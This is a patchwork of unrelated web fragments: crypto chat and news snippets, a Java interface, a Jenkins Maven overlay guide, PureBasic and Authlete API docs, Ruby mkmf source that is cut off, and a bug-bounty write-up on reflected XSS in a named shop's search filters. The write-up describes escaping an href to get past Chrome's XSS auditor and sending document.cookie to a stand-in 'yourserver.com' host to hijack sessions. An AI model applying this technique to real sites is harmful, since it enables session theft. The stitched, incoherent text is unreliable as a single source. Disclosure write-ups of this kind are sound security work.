Ray Dalio doesn't want to use the word "recession" when talking about the global economy.
The RIA Composite #Economic Index (Comprised of Fed Surveys, CFNAI, PMI, ISM's, NFIB, LEI, and #Confidence) still has more room to #decline for a normal cycle suggesting more weakness yet to come especially coming off high levels.
Never love a wild thing, Mr. Bell,' Holly advised him. 'That was Doc's mistake. He was always lugging home wild things. A hawk with a hurt wing. One time it was
Tweets
1
Followers
57
Markus24-Nov-19 03:47 PM
i got a notification that btc5k contain a phishing attempt and got blocked, be careful(edited)
@LocoMB
LocoMB24-Nov-19 05:51 PM
send us between 0.1-1 BTC and get 10 times back !!! seriously?!?! .. really slimy scam attempt ...(edited)
After recent events, Malik decides to focus on what matters and plans his sister's wedding. But danger is just around the 'Corner' as Tony uncovers the Mayor...
Bitcoin Core <IP_ADDRESS> new release has some API changes that will break some consumers of the API: LND 0.8.0 and below, Electrum Private Server current version.
To fix compatibility for LND, update to LND 0.8.1
To fix compatibility for EPS, set deprecatedrpc=size in bitco...
Cryptoon26-Nov-19 02:07 PM
best torrent client?
utorrent does some weird in-browser thing which I dont really trust(edited)
𝙊𝙊𝙊𝙊26-Nov-19 02:07 PM
Pirate torrent Client?
Cryptoon26-Nov-19 02:08 PM
does pirate have their own torrent client?
just need the program, already have sources for trackers
Almost 200 cryptocurrency exchanges and token issuing platforms have been shut down. According to the People’s Bank of China’s (PBoC) financial report, the country will continue to crack down on “unlicensed payment” businesses, which include online lending institution...
UPbit made an official statement.
All transactions apart from Ethereum were transfer of funds to UPbit's cold wallet.
342,000 ETH was sent to an unknown wallet. UPbit says it will cover for it with corporate funds. ($51.3 million)
It says only ETH is an irregular transa...
That statement, along with the one issued by the Ministry of Foreign Affairs, came just hours after Trump signed the Hong Kong Human Rights and Democracy Act of 2019 into law.
BREAKING: The German parliament has passed a bill allowing banks to sell and store cryptocurrencies from next year. Exchanges and crypto custodians must act to obtain a license before the end of 2019. https://t.co/IrDdykkJtx
#germany #bitcoin #cryptocurrency #BTC
Wow
@virgilgr was just arrested for traveling "to one of the United States’ foremost adversaries, North Korea, where he taught his audience how to use blockchain technology to evade sanctions."
The DOJ is paying attention
https://t.co/S9yu7gx77s
"Wright already sold rights to a big part of the Bitcoins in the trust to Calvin Ayre"
"Wright knows he will definitely have the keys on Jan 2020"
Hat tip @Zectro1
Cryptoon30-Nov-19 12:50 PM
Can such software exist?
phm8730-Nov-19 12:58 PM
I keep my keys in keypass. Maybe the software is keypass or sth with multi sig
Deltazulu30-Nov-19 01:01 PM
they say to "generate the private keys"
Cryptoon30-Nov-19 01:01 PM
yeah
the guy seems to be a wright supporter, so might as well be a ruse
1
phm8730-Nov-19 01:02 PM
Keys are encrypted in keypass so when I unlovk it, maybe they are generated
Deltazulu30-Nov-19 01:02 PM
@Cryptoon i believe that too
jl777c30-Nov-19 02:58 PM
shamirs secret exists, it could construct a privkey out of the shards


{{ define "title" }}Error 404 Not Found{{ end }} {{ define "main" }}
That page doesn't exist. Perhaps you'd like to search this site or start at the homepage.


001package net.peierls.puzzle; 002 003 004/** 005 * A container for states that offers only an approximate containment 006 * test, no removal, and no iteration. The interface is modeled on the 007 * idea of a Bloom filter and closely adheres to the Guava BloomFilter 008 * API. 009 *
 010 * Implementations of this interface are free to make the containment 011 * test exact, in which case: 012 *
 013 *
 014 * {@link #mightContain} will return true iff the given 015 * state has been added; 016 *
 017 *
 018 * the return value of {@link #put} will return true iff the 019 * state was added for the first time; 020 *
 021 *
 022 * {@link #expectedFalsePositiveProbability} will always return {@code 0.0}; 023 * and 024 *
 025 *
 026 * {@link #approximateElementCount} will always be the true number of 027 * distinct elements added. 028 *
 029 *
 030 */ 031public interface PuzzleStateFilter<T extends PuzzleState<T>> extends AutoCloseable { 032 033 /** 034 * Returns true if the given state might have been put in 035 * this filter, false if this is definitely not the case. 036 */ 037 boolean mightContain(T state); 038 039 /** 040 * Adds the given state to the filter, returning true if 041 * this was definitely the first time the state was added. 042 * @returns true if this is definitely the first time the 043 * state has been added to the tracker, false otherwise, 044 * i.e., if this might not be the first time it has been 045 * added. 046 */ 047 boolean put(T state); 048 049 /** 050 * Returns an approximation of the number of distinct 051 * states that have been added to the tracker. 052 */ 053 long approximateElementCount(); 054 055 /** 056 * Expected probability that {@link #mightContain} will return 057 * a false positive. 058 */ 059 double expectedFalsePositiveProbability(); 060 061 /** 062 * Operation to perform on close. 063 * Default is no-op. 064 */ 065 @Override default void close() { 066 } 067}


Installation via Maven WAR Overlay
This page describes how to install Jenkins using a Maven WAR Overlay method.
Why?
While Jenkins provides extremely easy installation and execution (e.g. java -jar jenkins.war
), sometimes more complicated setups are required. It is very common to want to deploy the jenkins.war
into an existing Apache Tomcat installation. This is the exact scenario that will be described here.
How?
The preferred mechanism is to create a Maven project which can be used to build and deploy Jenkins to your Apache Tomcat. It utilizes the maven-war-plugin and cargo-maven2-plugin to build and deploy.
You need to create a project hierarchy with the pom.xml
and context.xml
as shown below. Once this is in place, you need to update the JENKINS_URL to be the URL for your Tomcat instance. Now, the only thing you have to do is run mvn clean package cargo:redeploy
and watch the Maven magic.
Directory Hierarchy
project/ ├── pom.xml └── src/ └── main/ └── webapp/ └── META-INF/ └── context.xml
pom.xml
<?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>com.acme.infra</groupId> <artifactId>jenkins-war</artifactId> <version>1.414</version> <packaging>war</packaging> <repositories> <repository> <id>m.g.o-public</id> <url>http://maven.glassfish.org/content/groups/public/</url> </repository> </repositories> <pluginRepositories> <pluginRepository> <id>m.g.o-public</id> <url>http://maven.glassfish.org/content/groups/public/</url> </pluginRepository> </pluginRepositories> <dependencies> <dependency> <groupId>org.jenkins-ci.main</groupId> <artifactId>jenkins-war</artifactId> <version>${project.version}</version> <type>war</type> <scope>runtime</scope> </dependency> </dependencies> <build> <plugins> <plugin> <groupId>org.codehaus.cargo</groupId> <artifactId>cargo-maven2-plugin</artifactId> <version>1.1.0</version> <configuration> <container> <containerId>tomcat7x</containerId> <type>remote</type> </container> <configuration> <type>runtime</type> <properties> <cargo.tomcat.manager.url>http://JENKINS_URL/manager/text</cargo.tomcat.manager.url> <cargo.remote.username>tomcatadmin</cargo.remote.username> <cargo.remote.password>tomcatadmin</cargo.remote.password> </properties> </configuration> </configuration> </plugin> </plugins> </build> </project>
src/main/webapp/META-INF/context.xml
<?xml version="1.0" encoding="UTF-8"?> <Context logEffectiveWebXml="true" path="/"> </Context>
Troubleshooting
- This manual presumes you are using Tomcat 7.x, if not, you should update the cargo plugin configuration accordingly
- Make sure that
mvn clean package
builds the war file, if not, you probably have some sort of network issue or you're not using the right Jenkins version number - Make sure that that you have configured the Tomcat 7.x manager application, and the updated
tomcat-users.xml
which split out roles very different than Tomcat 6.x - Make sure that you have the correct tomcat manager username and password


A few weeks ago, I took part in the Cyber Security Challenge Belgium, an annual CTF hosted by NVISO intended for Belgian students to test their security knowledge. After talking with some experienced security researchers, they convinced me to start bug hunting. They advised me to start seeking for vulnerabilities on small independent websites instead of hunting large programs on HackerOne and Bugcrowd.
After crawling over various websites, I noticed some strange behaviour on the website of Brouwland. Users are able to search for products by using the query input form. Since the resulting page includes the query string, I checked whether it was vulnerable to reflected XSS by entering some special characters.
The query XSS">
returned the following page:
Surprisingly, the double quote and closing tag were not being escaped. HTML escaping exists in transforming special characters allowing the browser to interpret them as text instead of HTML code, which makes XSS impossible. Input which does not gets escaped? This seemed to easy. If I just close the current tag using </*>
, I could append my malicious script which will be executed by the browser. For example:
test

Unfortunately, the input starting from the closing tags gets omitted in the returning string. Only test
was reflected in the returning string. This technique, also known as sanitizing, is another common way to prevent XSS. Thus, these fields are invulnerable to XSS.
After analysing the source code for a second time, I found a more interesting place which reflected my query. The user can filter his search results using the buttons next to the search field. After querying, these buttons contain an href attribute which will execute a filtered search. For example, given input ‘XSS’:
A quick test reveals the input is neither escaped nor sanitized. Bazinga! Let’s just exit the current tag and inject our script using the following query:
XSS">
However, this is detected by Google Chrome’s XSS auditor. The auditor identifies malicious request parameters and blocks the response if it believes the code is injected in the response.
Time to craft another query:
XSS">

<a class="btn btn-default" href="
Yay, this is accepted! Using URL encoding, we could create the following link:
This results in the following source code:
The page looked like this:
Hence, clicking the link will result in a request to www.maliciouslink.com
. Although this does not seem malicious, we could replace this link with www.yourserver.com/cookie?+document.cookie
to send the cookie of an authenticated user to your server and hijack their session. Another possible exploit is to use the onerror attribute in the img tag to execute some arbitrary JavaScript code:

There are probably a dozen ways to exploit this vulnerability, however I reported it shortly after I found out the input did not get escaped or sanitized. Their team fixed the bug two days later and thanked me for my findings. Overall, it was a fun and easy first bug. Hopefully this is the start of many other bug discoveries!


ExportJSON()
Syntax
Result = ExportJSON(#JSON, *Buffer, Size [, Flags])Description
Export the given JSON data to a memory location. The JSON data will be encoded in UTF-8 format.
Parameters
#JSON The JSON to export. *Buffer A writable memory location. Size The size of the memory location. If the size is not large enough to hold the entire JSON data, the function will fill the memory location with data, but then return failure. The ExportJSONSize() function can be used to determine the needed size. Flags (optional) If set to #PB_JSON_PrettyPrint, the composed string will contain additional newline and whitespace for better readability. The extra whitespace is not significant to the JSON format. The output will have the same meaning to a JSON reader with or without this flag.
Return value
Returns the number of bytes written to the memory location on success. If the function fails, the result is 0.
See Also
ExportJSONSize(), ComposeJSON(), SaveJSON(), CatchJSON()
Supported OS
All


In Stock
To order Black People T-Shirts or to get more information on how to get the T-Shirts, please contact us through different options provided below.


{% extends 'layout.html' %}
{% block beforeContent %}
Rapidly create HTML prototypes of NHS.UK services. You can now set up the prototype kit in your browserNHS.UK prototype kit
What's new
Visit the NHS digital service manual for guidance and examples.


ClientExtension implements ArrayCopyable, Arrayable, Jsonable Uses ArrayTrait, JsonTrait
Extended information about a client application.
There are some attributes that belong to a client application but should not be changed by the developer of the client application. This class holds such attributes.
For example, an authorization server may narrow the range of scopes (permissions) that a particular client application can request. In this case, it is meaningless if the developer of the client application can freely decide the set of requestable scopes. It is not the developer of the client application but the administrator of the authorization server that should be allowed to define the set of scopes that the client application can request.
Interfaces, Classes and Traits
- ArrayCopyable
- Interface to declare instances can be converted into/from arrays.
- Arrayable
- Interface to declare that instances can be converted into an array.
- Jsonable
- Interface to declare that instances can be converted into JSON strings.
Table of Contents
- copyFromArray() : mixed
- Copy the content of the given array into this object.
- copyToArray() : mixed
- Copy the content of this object into the given array.
- fromArray() : static
- Convert an array into an instance of this class.
- fromJson() : static
- Convert a JSON string into an instance of this class.
- getAccessTokenDuration() : int|string
- Get the duration of access tokens per client in seconds.
- getRefreshTokenDuration() : int|string
- Get the duration of refresh tokens per client in seconds.
- getRequestableScopes() : array<string|int, string>
- Get the set of scopes that the client application can request when the "Requestable Scopes per Client" feature is enabled (= when the `isRequestableScopesEnabled()` method returns `true`).
- isRequestableScopesEnabled() : bool
- Get the flag which indicates whether the "Requestable Scopes per Client" feature is enabled or not.
- setAccessTokenDuration() : ClientExtension
- Set the duration of access tokens per client in seconds.
- setRefreshTokenDuration() : ClientExtension
- Set the duration of refresh tokens per client in seconds.
- setRequestableScopes() : ClientExtension
- Set the set of scopes that the client application can request when the "Requestable Scopes per Client" feature is enabled (= when the `isRequestableScopesEnabled()` method returns `true`).
- setRequestableScopesEnabled() : ClientExtension
- Set the flag which indicates whether the "Requestable Scopes per Client" feature is enabled or not.
- toArray() : array<string|int, mixed>
- Convert this object into an array.
- toJson() : string
- Convert this object into a JSON string.
Methods
copyFromArray()
Copy the content of the given array into this object.
public
copyFromArray(array<string|int, mixed> &$array) : mixed
Parameters
- $array : array<string|int, mixed>
Return values
mixed —copyToArray()
Copy the content of this object into the given array.
public
copyToArray(array<string|int, mixed> &$array) : mixed
Parameters
- $array : array<string|int, mixed>
Return values
mixed —fromArray()
Convert an array into an instance of this class.
public
static fromArray([array<string|int, mixed> $array = null ]) : static
This static function returns a new instance of this class.
If $array
is null
, null
is returned.
Parameters
- $array : array<string|int, mixed> = null
-
An array
Return values
static —An instance of this class.
fromJson()
Convert a JSON string into an instance of this class.
public
static fromJson(string $json) : static
This static function returns a new instance of this class.
If $json
is null
or the type of $json
is not string
,
null
is returned.
Parameters
- $json : string
-
A JSON string.
Return values
static —An instance of this class.
getAccessTokenDuration()
Get the duration of access tokens per client in seconds.
public
getAccessTokenDuration() : int|string
In normal cases, the values of the Service's accessTokenDuration
property is used as the duration of access tokens issued by the
service. However, if this accessTokenDuration
property holds a
non-zero positive number and its value is less than the duration
configured by the service, the value is used as the duration of
access tokens issued to the client application.
Note that the duration of access tokens can be controlled by the
scope attribute access_token.duration
, too. Authlete chooses the
minimum value among the candidates.
Tags
Return values
int|string —The duration of access tokens per client in seconds.
getRefreshTokenDuration()
Get the duration of refresh tokens per client in seconds.
public
getRefreshTokenDuration() : int|string
In normal cases, the values of the Service's refreshTokenDuration
property is used as the duration of refresh tokens issued by the
service. However, if this refreshTokenDuration
property holds a
non-zero positive number and its value is less than the duration
configured by the service, the value is used as the duration of
refresh tokens issued to the client application.
Note that the duration of refresh tokens can be controlled by the
scope attribute refresh_token.duration
, too. Authlete chooses the
minimum value among the candidates.
Tags
Return values
int|string —The duration of refresh tokens per client in seconds.
getRequestableScopes()
Get the set of scopes that the client application can request when the "Requestable Scopes per Client" feature is enabled (= when the `isRequestableScopesEnabled()` method returns `true`).
public
getRequestableScopes() : array<string|int, string>
Return values
array<string|int, string> —Scopes that the client application can request.
isRequestableScopesEnabled()
Get the flag which indicates whether the "Requestable Scopes per Client" feature is enabled or not.
public
isRequestableScopesEnabled() : bool
Return values
bool —true
if the "Requestable Scopes per Client" feature is enabled.
setAccessTokenDuration()
Set the duration of access tokens per client in seconds.
public
setAccessTokenDuration(int|string $duration) : ClientExtension
In normal cases, the values of the Service's accessTokenDuration
property is used as the duration of access tokens issued by the
service. However, if this accessTokenDuration
property holds a
non-zero positive number and its value is less than the duration
configured by the service, the value is used as the duration of
access tokens issued to the client application.
Note that the duration of access tokens can be controlled by the
scope attribute access_token.duration
, too. Authlete chooses the
minimum value among the candidates.
Parameters
- $duration : int|string
-
The duration of access tokens per client in seconds.
Tags
Return values
ClientExtension —$this
object.
setRefreshTokenDuration()
Set the duration of refresh tokens per client in seconds.
public
setRefreshTokenDuration(int|string $duration) : ClientExtension
In normal cases, the values of the Service's refreshTokenDuration
property is used as the duration of refresh tokens issued by the
service. However, if this refreshTokenDuration
property holds a
non-zero positive number and its value is less than the duration
configured by the service, the value is used as the duration of
refresh tokens issued to the client application.
Note that the duration of refresh tokens can be controlled by the
scope attribute refresh_token.duration
, too. Authlete chooses the
minimum value among the candidates.
Parameters
- $duration : int|string
-
The duration of refresh tokens per client in seconds.
Tags
Return values
ClientExtension —$this
object.
setRequestableScopes()
Set the set of scopes that the client application can request when the "Requestable Scopes per Client" feature is enabled (= when the `isRequestableScopesEnabled()` method returns `true`).
public
setRequestableScopes([array<string|int, string> $requestableScopes = null ]) : ClientExtension
Parameters
- $requestableScopes : array<string|int, string> = null
-
Scopes that the client application can request.
Return values
ClientExtension —$this
object.
setRequestableScopesEnabled()
Set the flag which indicates whether the "Requestable Scopes per Client" feature is enabled or not.
public
setRequestableScopesEnabled(bool $enabled) : ClientExtension
If true
is set, a special set of scopes (permissions) is defined on
the server side (getRequestableScopes()
method returns the special
set) and scopes which the client application can request are limited
to the scopes listed in the special set. In other words, the
application cannot request scopes that are not included in the special
set. To be specific, the client application cannot list other scopes
in the scope
request parameter when it makes an authorization
request. To be exact, other scopes can be listed but will be ignored
by the authorization server.
On the other hand, false
is set, the valid set of scopes
(permissions) that the client application can request is equal to the
whole scope set defined by the authorization server.
Parameters
- $enabled : bool
-
true
if the "Requestable Scopes per Client" feature is enabled.
Return values
ClientExtension —$this
object.
toArray()
Convert this object into an array.
public
toArray() : array<string|int, mixed>
Return values
array<string|int, mixed> —An array.
toJson()
Convert this object into a JSON string.
public
toJson(int $options) : string
Parameters
- $options : int
-
Options passed to
json_encode()
. This parameter is optional and its default value is 0.
Return values
string —A JSON string.


Issue Tracker
Front End for project "test1"
User Stories:
-
Prevent cross site scripting(XSS attack).
-
I can POST
/issues/v1/{projectname}
with form data containing required issueTitle, issueText,
createdBy, and optional assignedTo and statusText.
-
The object saved (and returned) will include all of those fields (blank for optional no input) and also include createdOn(date/time),
updatedOn(date/time), open(boolean, true for open, false for closed), and id.
-
I can PUT
/issues/v1/{projectname}
with a id and any fields in the object with a value
to object said object. Returned will be 'successfully updated' or 'could not update '+id. This should always update
updated_on. If no fields are sent return 'no updated field sent'.
-
I can DELETE
/issues/v1/{projectname}
with a id to completely delete an issue. If no id
is sent return 'id error', success: 'deleted '+id, failed: 'could not delete '+id.
-
I can GET
/issues/v1/{projectname}
for an array of all issues on that specific project with all
the information for each issue as was returned when posted.
-
All 7 functional tests are complete and passing.
Example Usage:


module MakeMakefile
mkmf.rb is used by Ruby C extensions to generate a Makefile which will correctly compile and link the C extension to Ruby and a third-party library.
Constants
- ASSEMBLE_C
Command which will translate C files to assembler sources in the generated Makefile
- ASSEMBLE_CXX
Command which will translate C++ files to assembler sources in the generated Makefile
- CLEANINGS
Makefile rules that will clean the extension build directory
- COMMON_HEADERS
Common headers for Ruby C extensions
- COMMON_LIBS
Common libraries for Ruby C extensions
- COMPILE_C
Command which will compile C files in the generated Makefile
- COMPILE_CXX
Command which will compile C++ files in the generated Makefile
- COMPILE_RULES
make compile rules
- CONFIG
The makefile configuration using the defaults from when Ruby was built.
- CXX_EXT
Extensions for files complied with a C++ compiler
- C_EXT
Extensions for files compiled with a C compiler
- EXPORT_PREFIX
- HDR_EXT
Extensions for header files
- LIBARG
Argument which will add a library to the linker
- LIBPATHFLAG
Argument which will add a library path to the linker
- LINK_SO
Command which will link a shared library
- MAIN_DOES_NOTHING
A C main function which does no work
- ORIG_LIBPATH
- RPATHFLAG
- RULE_SUBST
- SRC_EXT
Extensions for source files
- TRY_LINK
Command which will compile a program in order to test linking a library
- UNIVERSAL_INTS
Public Instance Methods
Returns the signedness of the given type
. You may optionally
specify additional headers
to search in for the
type
.
If the type
is found and is a numeric type, a macro is passed
as a preprocessor constant to the compiler using the type
name, in uppercase, prepended with SIGNEDNESS_OF_
, followed by
the type
name, followed by =X
where “X” is
positive integer if the type
is unsigned and a negative
integer if the type
is signed.
For example, if size_t
is defined as unsigned, then
check_signedness('size_t')
would return +1 and the
SIGNEDNESS_OF_SIZE_T=+1
preprocessor macro would be passed to
the compiler. The SIGNEDNESS_OF_INT=-1
macro would be set for
check_signedness('int')
# File lib/mkmf.rb, line 1357 def check_signedness(type, headers = nil, opts = nil, &b) typedef, member, prelude = typedef_expr(type, headers) signed = nil checking_for("signedness of #{type}", STRING_OR_FAILED_FORMAT) do signed = try_signedness(typedef, member, [prelude], opts, &b) or next nil $defs.push("-DSIGNEDNESS_OF_%s=%+d" % [type.tr_cpp, signed]) signed < 0 ? "signed" : "unsigned" end signed end
Returns the size of the given type
. You may optionally
specify additional headers
to search in for the
type
.
If found, a macro is passed as a preprocessor constant to the compiler
using the type name, in uppercase, prepended with SIZEOF_
,
followed by the type name, followed by =X
where “X” is the
actual size.
For example, if check_sizeof('mystruct')
returned 12,
then the SIZEOF_MYSTRUCT=12
preprocessor macro would be passed
to the compiler.
# File lib/mkmf.rb, line 1328 def check_sizeof(type, headers = nil, opts = "", &b) typedef, member, prelude = typedef_expr(type, headers) prelude << "#{typedef} *rbcv_ptr_;\n" prelude = [prelude] expr = "sizeof((*rbcv_ptr_)#{"." << member if member})" fmt = STRING_OR_FAILED_FORMAT checking_for checking_message("size of #{type}", headers), fmt do if size = try_constant(expr, prelude, opts, &b) $defs.push(format("-DSIZEOF_%s=%s", type.tr_cpp, size)) size end end end
Returns the convertible integer type of the given type
. You
may optionally specify additional headers
to search in for the
type
. convertible means actually the same type, or
typedef'd from the same type.
If the type
is an integer type and the convertible
type is found, the following macros are passed as preprocessor constants to
the compiler using the type
name, in uppercase.
-
TYPEOF_
, followed by thetype
name, followed by=X
where “X” is the found convertible type name. -
TYP2NUM
andNUM2TYP
, whereTYP
is thetype
name in uppercase with replacing an_t
suffix with “T”, followed by=X
where “X” is the macro name to converttype
to an Integer object, and vice versa.
For example, if foobar_t
is defined as unsigned long, then
convertible_int("foobar_t")
would return “unsigned
long”, and define these macros:
#define TYPEOF_FOOBAR_T unsigned long #define FOOBART2NUM ULONG2NUM #define NUM2FOOBART NUM2ULONG
# File lib/mkmf.rb, line 1392 def convertible_int(type, headers = nil, opts = nil, &b) type, macname = *type checking_for("convertible type of #{type}", STRING_OR_FAILED_FORMAT) do if UNIVERSAL_INTS.include?(type) type else typedef, member, prelude = typedef_expr(type, headers, &b) if member prelude << "static rbcv_typedef_ rbcv_var;" compat = UNIVERSAL_INTS.find {|t| try_static_assert("sizeof(rbcv_var.#{member}) == sizeof(#{t})", [prelude], opts, &b) } else next unless signed = try_signedness(typedef, member, [prelude]) u = "unsigned " if signed > 0 prelude << "extern rbcv_typedef_ foo();" compat = UNIVERSAL_INTS.find {|t| try_compile([prelude, "extern #{u}#{t} foo();"].join("\n"), opts, :werror=>true, &b) } end if compat macname ||= type.sub(/_(?=t\z)/, '').tr_cpp conv = (compat == "long long" ? "LL" : compat.upcase) compat = "#{u}#{compat}" typename = type.tr_cpp $defs.push(format("-DSIZEOF_%s=SIZEOF_%s", typename, compat.tr_cpp)) $defs.push(format("-DTYPEOF_%s=%s", typename, compat.quote)) $defs.push(format("-DPRI_%s_PREFIX=PRI_%s_PREFIX", macname, conv)) conv = (u ? "U" : "") + conv $defs.push(format("-D%s2NUM=%s2NUM", macname, conv)) $defs.push(format("-DNUM2%s=NUM2%s", macname, conv)) compat end end end end
Generates a header file consisting of the various macro definitions
generated by other methods such as #have_func and have_header.
These are then wrapped in a custom #ifndef
based on the
header
file name, which defaults to “extconf.h”.
For example:
# extconf.rb require 'mkmf' have_func('realpath') have_header('sys/utime.h') create_header create_makefile('foo')
The above script would generate the following extconf.h file:
#ifndef EXTCONF_H #define EXTCONF_H #define HAVE_REALPATH 1 #define HAVE_SYS_UTIME_H 1 #endif
Given that the #create_header method generates a file based on definitions set earlier in your extconf.rb file, you will probably want to make this one of the last methods you call in your script.
# File lib/mkmf.rb, line 1684 def create_header(header = "extconf.h") message "creating %s\n", header sym = header.tr_cpp hdr = ["#ifndef #{sym}\n#define #{sym}\n"] for line in $defs case line when /^-D([^=]+)(?:=(.*))?/ hdr << "#define #$1 #{$2 ? Shellwords.shellwords($2)[0].gsub(/(?=\t+)/, "\\\n") : 1}\n" when /^-U(.*)/ hdr << "#undef #$1\n" end end hdr << "#endif\n" hdr = hdr.join("") log_src(hdr, "#{header} is") unless (IO.read(header) == hdr rescue false) open(header, "wb") do |hfile| hfile.write(hdr) end end $extconf_h = header end
Generates the Makefile for your extension, passing along any options and preprocessor constants that you may have generated through other methods.
The target
name should correspond the name of the global
function name defined within your C extension, minus the
Init_
. For example, if your C extension is defined as
Init_foo
, then your target would simply be “foo”.
If any “/” characters are present in the target name, only the last name is interpreted as the target name, and the rest are considered toplevel directory names, and the generated Makefile will be altered accordingly to follow that directory structure.
For example, if you pass “test/foo” as a target name, your extension will
be installed under the “test” directory. This means that in order to load
the file within a Ruby program later, that directory structure will have to
be followed, e.g. require 'test/foo'
.
The srcprefix
should be used when your source files are not in
the same directory as your build script. This will not only eliminate the
need for you to manually copy the source files into the same directory as
your build script, but it also sets the proper target_prefix
in the generated Makefile.
Setting the target_prefix
will, in turn, install the generated
binary in a directory under your
RbConfig::CONFIG['sitearchdir']
that mimics your local
filesystem when you run make install
.
For example, given the following file tree:
ext/ extconf.rb test/ foo.c
And given the following code:
create_makefile('test/foo', 'test')
That will set the target_prefix
in the generated Makefile to
“test”. That, in turn, will create the following file tree when installed
via the make install
command:
/path/to/ruby/sitearchdir/test/foo.so
It is recommended that you use this approach to generate your makefiles,
instead of copying files around manually, because some third party
libraries may depend on the target_prefix
being set properly.
The srcprefix
argument can be used to override the default
source directory, i.e. the current directory. It is included as part of
the VPATH
and added to the list of INCFLAGS
.
# File lib/mkmf.rb, line 2180 def create_makefile(target, srcprefix = nil) $target = target libpath = $DEFLIBPATH|$LIBPATH message "creating Makefile\n" MakeMakefile.rm_f "#{CONFTEST}*" if CONFIG["DLEXT"] == $OBJEXT for lib in libs = $libs.split lib.sub!(/-l(.*)/, %Q%"lib\\1.#{$LIBEXT}"%) end $defs.push(format("-DEXTLIB='%s'", libs.join(","))) end if target.include?('/') target_prefix, target = File.split(target) target_prefix[0,0] = '/' else target_prefix = "" end srcprefix ||= "$(srcdir)/#{srcprefix}".chomp('/') RbConfig.expand(srcdir = srcprefix.dup) ext = ".#{$OBJEXT}" orig_srcs = Dir[File.join(srcdir, "*.{#{SRC_EXT.join(%q{,})}}")].sort if not $objs srcs = $srcs || orig_srcs $objs = [] objs = srcs.inject(Hash.new {[]}) {|h, f| h.key?(o = File.basename(f, ".*") << ext) or $objs << o h[o] <<= f h } unless objs.delete_if {|b, f| f.size == 1}.empty? dups = objs.sort.map {|b, f| "#{b[/.*\./]}{#{f.collect {|n| n[/([^.]+)\z/]}.join(',')}}" } abort "source files duplication - #{dups.join(", ")}" end else $objs.collect! {|o| File.basename(o, ".*") << ext} unless $OBJEXT == "o" srcs = $srcs || $objs.collect {|o| o.chomp(ext) << ".c"} end $srcs = srcs hdrs = Dir[File.join(srcdir, "*.{#{HDR_EXT.join(%q{,})}}")] target = nil if $objs.empty? if target and EXPORT_PREFIX if File.exist?(File.join(srcdir, target + '.def')) deffile = "$(srcdir)/$(TARGET).def" unless EXPORT_PREFIX.empty? makedef = %Q{$(RUBY) -pe "$$_.sub!(/^(?=\\w)/,'#{EXPORT_PREFIX}') unless 1../^EXPORTS$/i" #{deffile}} end else makedef = %Q{(echo EXPORTS && echo $(TARGET_ENTRY))} end if makedef $cleanfiles << '$(DEFFILE)' origdef = deffile deffile = "$(TARGET)-$(arch).def" end end origdef ||= '' if $extout and $INSTALLFILES $cleanfiles.concat($INSTALLFILES.collect {|files, dir|File.join(dir, files.sub(/\A\.\//, ''))}) $distcleandirs.concat($INSTALLFILES.collect {|files, dir| dir}) end if $extmk and $static $defs << "-DRUBY_EXPORT=1" end if $extmk and not $extconf_h create_header end libpath = libpathflag(libpath) dllib = target ? "$(TARGET).#{CONFIG['DLEXT']}" : "" staticlib = target ? "$(TARGET).#$LIBEXT" : "" conf = configuration(srcprefix) conf << "\ libpath = #{($DEFLIBPATH|$LIBPATH).join(" ")} LIBPATH = #{libpath} DEFFILE = #{deffile} CLEANFILES = #{$cleanfiles.join(' ')} DISTCLEANFILES = #{$distcleanfiles.join(' ')} DISTCLEANDIRS = #{$distcleandirs.join(' ')} extout = #{$extout && $extout.quote} extout_prefix = #{$extout_prefix} target_prefix = #{target_prefix} LOCAL_LIBS = #{$LOCAL_LIBS} LIBS = #{$LIBRUBYARG} #{$libs} #{$LIBS} ORIG_SRCS = #{orig_srcs.collect(&File.method(:basename)).join(' ')} SRCS = $(ORIG_SRCS) #{(srcs - orig_srcs).collect(&File.method(:basename)).join(' ')} OBJS = #{$objs.join(" ")} HDRS = #{hdrs.map{|h| '$(srcdir)/' + File.basename(h)}.join(' ')} LOCAL_HDRS = #{$headers.join(' ')} TARGET = #{target} TARGET_NAME = #{target && target[/\A\w+/]} TARGET_ENTRY = #{EXPORT_PREFIX || ''}Init_$(TARGET_NAME) DLLIB = #{dllib} EXTSTATIC = #{$static || ""} STATIC_LIB = #{staticlib unless $static.nil?} #{!$extout && defined?($installed_list) ? "INSTALLED_LIST = #{$installed_list}\n" : ""} TIMESTAMP_DIR = #{$extout && $extmk ? '$(extout)/.timestamp' : '.'} " #" # TODO: fixme install_dirs.each {|d| conf << ("%-14s= %s\n" % d) if /^[[:upper:]]/ =~ d[0]} sodir = $extout ? '$(TARGET_SO_DIR)' : '$(RUBYARCHDIR)' n = '$(TARGET_SO_DIR)$(TARGET)' conf << "\ TARGET_SO_DIR =#{$extout ? " $(RUBYARCHDIR)/" : ''} TARGET_SO = $(TARGET_SO_DIR)$(DLLIB) CLEANLIBS = $(TARGET_SO) #{config_string('cleanlibs') {|t| t.gsub(/\$\*/) {n}}} CLEANOBJS = *.#{$OBJEXT} #{config_string('cleanobjs') {|t| t.gsub(/\$\*/, "$(TARGET)#{deffile ? '-$(arch)': ''}")} if target} *.bak " #" conf = yield(conf) if block_given? mfile = open("Makefile", "wb") mfile.puts(conf) mfile.print " all: #{$extout ? "install" : target ? "$(DLLIB)" : "Makefile"} static: #{$extmk && !$static ? "all" : "$(STATIC_LIB)#{$extout ? " install-rb" : ""}"} .PHONY: all install static install-so install-rb .PHONY: clean clean-so clean-static clean-rb " #" mfile.print CLEANINGS fsep = config_string('BUILD_FILE_SEPARATOR') {|s| s unless s == "/"} if fsep sep = ":/=#{fsep}" fseprepl = proc {|s| s = s.gsub("/", fsep) s = s.gsub(/(\$\(\w+)(\))/) {$1+sep+$2} s.gsub(/(\$\{\w+)(\})/) {$1+sep+$2} } rsep = ":#{fsep}=/" else fseprepl = proc {|s| s} sep = "" rsep = "" end dirs = [] mfile.print "install: install-so install-rb\n\n" dir = sodir.dup mfile.print("install-so: ") if target f = "$(DLLIB)" dest = "$(TARGET_SO)" stamp = timestamp_file(dir, target_prefix) if $extout mfile.puts dest mfile.print "clean-so::\n" mfile.print "\t-$(Q)$(RM) #{fseprepl[dest]} #{fseprepl[stamp]}\n" mfile.print "\t-$(Q)$(RMDIRS) #{fseprepl[dir]}#{$ignore_error}\n" else mfile.print "#{f} #{stamp}\n" 